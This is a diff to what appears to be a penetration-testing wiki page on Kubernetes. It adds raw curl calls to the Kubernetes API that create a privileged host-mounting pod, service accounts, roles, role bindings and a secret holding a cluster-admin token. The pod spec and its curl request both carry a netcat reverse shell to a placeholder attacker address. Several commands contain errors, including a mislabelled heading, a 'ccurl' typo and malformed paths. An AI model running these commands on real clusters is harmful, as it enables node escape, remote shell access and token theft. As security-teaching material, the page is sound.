@@ -535,6 +535,10 @@ k top pod --all-namespaces
535535{{#endtab }}
536536{{#endtabs }}
537537
538+ ## Interacting with the cluster without using kubectl
539+
540+ Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as ** curl** or ** wget** .
541+
538542### Escaping from the pod
539543
540544If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
@@ -603,6 +607,241 @@ chroot /root /bin/bash
603607
604608Information obtained from: [ Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1] ( https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216 ) [ Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1] ( https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/ )
605609
610+ ### Creating a privileged pod
611+
612+ The corresponding yaml file is as follows:
613+
614+ ``` yaml
615+ apiVersion : v1
616+ kind : Pod
617+ metadata :
618+ name : everything-allowed-exec-pod
619+ labels :
620+ app : pentest
621+ spec :
622+ hostNetwork : true
623+ hostPID : true
624+ hostIPC : true
625+ containers :
626+ - name : everything-allowed-pod
627+ image : alpine
628+ securityContext :
629+ privileged : true
630+ volumeMounts :
631+ - mountPath : /host
632+ name : noderoot
633+ command : [ "/bin/sh", "-c", "--" ]
634+ args : [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
635+ # nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
636+ volumes :
637+ - name : noderoot
638+ hostPath :
639+ path : /
640+ ` ` `
641+
642+ Create the pod with curl:
643+
644+ ` ` ` bash
645+ CONTROL_PLANE_HOST=""
646+ TOKEN=""
647+
648+ curl --path-as-is -i -s -k -X $'POST' \
649+ -H "Host : $CONTROL_PLANE_HOST" \
650+ -H "Authorization : Bearer $TOKEN" \
651+ -H $'Accept : application/json' \
652+ -H $'Content-Type : application/json' \
653+ -H $'User-Agent : kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
654+ -H $'Content-Length : 478' \
655+ -H $'Accept-Encoding : gzip, deflate, br' \
656+ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
657+ " https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
658+ ```
659+
660+ ### Delete a pod
661+
662+ Delete a pod with curl:
663+
664+ ``` bash
665+ CONTROL_PLANE_HOST=" "
666+ TOKEN=" "
667+ POD_NAME=" everything-allowed-exec-pod"
668+
669+ curl --path-as-is -i -s -k -X $' DELETE' \
670+ -H " Host: $CONTROL_PLANE_HOST " \
671+ -H " Authorization: Bearer $TOKEN " \
672+ -H $' User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
673+ -H $' Accept: application/json' \
674+ -H $' Content-Type: application/json' \
675+ -H $' Content-Length: 35' \
676+ -H $' Accept-Encoding: gzip, deflate, br' \
677+ --data-binary $' {\"propagationPolicy\":\"Background\"}\x0a ' \
678+ " https://$CONTROL_PLANE_HOST /api/v1/namespaces/default/pods/$POD_NAME "
679+ ```
680+
681+ ### Create a Service Account
682+
683+ ``` bash
684+ CONTROL_PLANE_HOST=" "
685+ TOKEN=" "
686+ NAMESPACE=" default"
687+
688+
689+ curl --path-as-is -i -s -k -X $' POST' \
690+ -H " Host: $CONTROL_PLANE_HOST " \
691+ -H " Authorization: Bearer $TOKEN " \
692+ -H $' Content-Type: application/json' \
693+ -H $' User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
694+ -H $' Accept: application/json' \
695+ -H $' Content-Length: 109' \
696+ -H $' Accept-Encoding: gzip, deflate, br' \
697+ --data-binary $' {\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a ' \
698+ " https://$CONTROL_PLANE_HOST /api/v1/namespaces/$NAMESPACE /serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
699+ ```
700+
701+
702+ ### Delete a Service Account
703+
704+ ``` bash
705+ CONTROL_PLANE_HOST=" "
706+ TOKEN=" "
707+ SA_NAME=" "
708+ NAMESPACE=" default"
709+
710+ curl --path-as-is -i -s -k -X $' DELETE' \
711+ -H " Host: $CONTROL_PLANE_HOST " \
712+ -H " Authorization: Bearer $TOKEN " \
713+ -H $' Accept: application/json' \
714+ -H $' Content-Type: application/json' \
715+ -H $' User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
716+ -H $' Content-Length: 35' -H $' Accept-Encoding: gzip, deflate, br' \
717+ --data-binary $' {\"propagationPolicy\":\"Background\"}\x0a ' \
718+ " https://$CONTROL_PLANE_HOST /api/v1/namespaces/$NAMESPACE /serviceaccounts/$SA_NAME "
719+ ```
720+
721+
722+ ### Create a Role
723+
724+ ``` bash
725+ CONTROL_PLANE_HOST=" "
726+ TOKEN=" "
727+ NAMESPACE=" default"
728+
729+
730+ curl --path-as-is -i -s -k -X $' POST' \
731+ -H " Host: $CONTROL_PLANE_HOST " \
732+ -H " Authorization: Bearer $TOKEN " \
733+ -H $' Content-Type: application/json' \
734+ -H $' Accept: application/json' \
735+ -H $' User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
736+ -H $' Content-Length: 203' \
737+ -H $' Accept-Encoding: gzip, deflate, br' \
738+ --data-binary $' {\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a ' \
739+ " https://$CONTROL_PLANE_HOST /apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE /roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
740+ ```
741+
742+
743+ ### Delete a Role
744+
745+ ``` bash
746+ CONTROL_PLANE_HOST=" "
747+ TOKEN=" "
748+ NAMESPACE=" default"
749+ ROLE_NAME=" "
750+
751+ curl --path-as-is -i -s -k -X $' DELETE' \
752+ -H " Host: $CONTROL_PLANE_HOST " \
753+ -H " Authorization: Bearer $TOKEN " \
754+ -H $' User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
755+ -H $' Accept: application/json' \
756+ -H $' Content-Type: application/json' \
757+ -H $' Content-Length: 35' \
758+ -H $' Accept-Encoding: gzip, deflate, br' \
759+ --data-binary $' {\"propagationPolicy\":\"Background\"}\x0a ' \
760+ " https://$$ CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE /roles/$ROLE_NAME "
761+ ```
762+
763+
764+ ### Create a Role Binding
765+
766+
767+ ``` bash
768+ CONTROL_PLANE_HOST=" "
769+ TOKEN=" "
770+ NAMESPACE=" default"
771+
772+ curl --path-as-is -i -s -k -X $' POST' \
773+ -H " Host: $CONTROL_PLANE_HOST " \
774+ -H " Authorization: Bearer $TOKEN " \
775+ -H $' Accept: application/json' \
776+ -H $' Content-Type: application/json' \
777+ -H $' User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
778+ -H $' Content-Length: 816' \
779+ -H $' Accept-Encoding: gzip, deflate, br' \
780+ --data-binary $' {\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a ' \
781+ " https://$CONTROL_PLANE_HOST /apis/rbac.authorization.k8s.io/v1/$NAMESPACE /default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
782+ ```
783+
784+ ### Delete a Role Binding
785+
786+ ``` bash
787+ CONTROL_PLANE_HOST=" "
788+ TOKEN=" "
789+ NAMESPACE=" default"
790+ ROLE_BINDING_NAME=" "
791+
792+ curl --path-as-is -i -s -k -X $' DELETE' \
793+ -H " Host: $CONTROL_PLANE_HOST " \
794+ -H " Authorization: Bearer $TOKEN " \
795+ -H $' User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
796+ -H $' Accept: application/json' \
797+ -H $' Content-Type: application/json' \
798+ -H $' Content-Length: 35' \
799+ -H $' Accept-Encoding: gzip, deflate, br' \
800+ --data-binary $' {\"propagationPolicy\":\"Background\"}\x0a ' \
801+ " https://$CONTROL_PLANE_HOST /apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE /rolebindings/$ROLE_BINDING_NAME "
802+ ```
803+
804+ ### Delete a Secret
805+
806+ ``` bash
807+ CONTROL_PLANE_HOST=" "
808+ TOKEN=" "
809+ NAMESPACE=" default"
810+
811+ curl --path-as-is -i -s -k -X $' POST' \
812+ -H " Host: $CONTROL_PLANE_HOST " \
813+ -H " Authorization: Bearer $TOKEN " \
814+ -H $' User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
815+ -H $' Accept: application/json' \
816+ -H $' Content-Type: application/json' \
817+ -H $' Content-Length: 219' \
818+ -H $' Accept-Encoding: gzip, deflate, br' \
819+ --data-binary $' {\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a ' \
820+ " https://$CONTROL_PLANE_HOST /api/v1/$NAMESPACE /default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
821+ ```
822+
823+ ### Delete a Secret
824+
825+ ``` bash
826+ CONTROL_PLANE_HOST=" "
827+ TOKEN=" "
828+ NAMESPACE=" default"
829+ SECRET_NAME=" "
830+
831+ ccurl --path-as-is -i -s -k -X $' DELETE' \
832+ -H " Host: $CONTROL_PLANE_HOST " \
833+ -H " Authorization: Bearer $TOKEN " \
834+ -H $' Content-Type: application/json' \
835+ -H $' Accept: application/json' \
836+ -H $' User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
837+ -H $' Content-Length: 35' \
838+ -H $' Accept-Encoding: gzip, deflate, br' \
839+ --data-binary $' {\"propagationPolicy\":\"Background\"}\x0a ' \
840+ " https://$CONTROL_PLANE_HOST /api/v1/namespaces/$NAMESPACE /secrets/$SECRET_NAME "
841+ ```
842+
843+
844+
606845## References
607846
608847{{#ref}}
0 commit comments